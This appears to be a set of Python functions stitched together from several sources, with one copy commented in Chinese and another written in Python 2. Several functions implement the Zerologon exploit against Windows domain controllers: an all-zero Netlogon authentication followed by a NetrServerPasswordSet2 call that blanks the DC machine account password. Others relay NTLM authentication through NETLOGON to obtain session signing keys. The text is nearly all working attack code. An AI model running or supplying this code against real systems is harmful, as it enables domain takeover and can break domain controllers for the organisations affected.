10) # Now let's try to verify the security blob against the PDC lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = lflags request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = b'\x00' * 8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except DCERPCException as e: LOG.debug('Exception:', exc_info=True) LOG.error(str(e)) return e.get_error_code() LOG.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != '': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY( flags, signingKey) self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY( flags, signingKey, b"Server") self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY( flags, signingKey) self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY( flags, signingKey, b"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.session._DCERPC_v5__clientSigningKey = signingKey self.session._DCERPC_v5__serverSigningKey = signingKey self.session._DCERPC_v5__clientSealingKey = signingKey self.session._DCERPC_v5__serverSealingKey = signingKey cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt self.session._DCERPC_v5__sequence = 0 self.session._DCERPC_v5__flags = flags return signingKey
def __try_zero_authenticate(self, originalpw=None): # Connect to the DC's Netlogon service. binding = epm.hept_map(self.ipaddress, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, self.dc_handle + '\x00', self.hostname + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, self.dc_handle + '\x00', self.hostname + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, self.hostname + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 if not originalpw: return rpc_con else: print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, b'\x00' * 8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = ciphertext #authenticatorCred authenticator[ 'Timestamp'] = b"\x00" * 4 #0 # timestamp_var nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = self.hostname + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = self.hostname + '\x00' request["Authenticator"] = authenticator pwdata = impacket.crypto.SamEncryptNTLMHash( unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key print "[*] Connecting to %s NETLOGON service" % self.domainIp respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) _, machineAccount = self.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = ntlm.AV_PAIRS(av_pairs) serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.machineHashes) > 0: lmhash, nthash = self.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', '12345678') serverChallenge = resp['ServerChallenge'] if self.machineHashes == '': ntHash = None else: ntHash = self.machineHashes.split(':')[1].decode('hex') sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) resp = nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = '\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except Exception, e: #import traceback #print traceback.print_exc() print "[!] %s " % e return e.get_error_code()
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # 连接到DC的Netlogon服务。 binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # 使用全零challenge和证书。 plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。 flags = 0x212fffff # 发送challenge和证书请求包。 serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) try: IV = b'\x00' * 16 authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # 时间戳 request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator request["ClearNewPassword"] = b"\x00" * 516 resp = rpc_con.request(request) resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。 if ex.get_error_code() == 0xc0000022: return None else: fail(f'来自DC的意外错误代码: {ex.get_error_code()}.') except BaseException as ex: fail(f'意外错误: {ex}.')
def update_authenticator(self): authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential(self.clientStoredCredential, self.sessionKey) authenticator['Timestamp'] = 10 return authenticator
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive #print("session key", sessionKey) try: IV = b'\x00' * 16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var) #print("client stored cred", clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred); #print("authenticator cred", authenticatorCred) authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var #request = nrpc.NetrLogonGetCapabilities() #request['ServerName'] = '\x00'*20 #request['ComputerName'] = target_computer + '\x00' #request['Authenticator'] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 #request['QueryLevel'] = 1 #resp = rpc_con.request(request) #resp.dump() request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD() request["ClearNewPassword"]["Buffer"] = b'\x00' * 512 request["ClearNewPassword"][ "Length"] = 0 # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes resp = rpc_con.request(request) resp.dump() #request['PrimaryName'] = NULL #request['ComputerName'] = target_computer + '\x00' #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00' #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00') #resp = rpc_con.request(request) #resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: #print(ex) # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')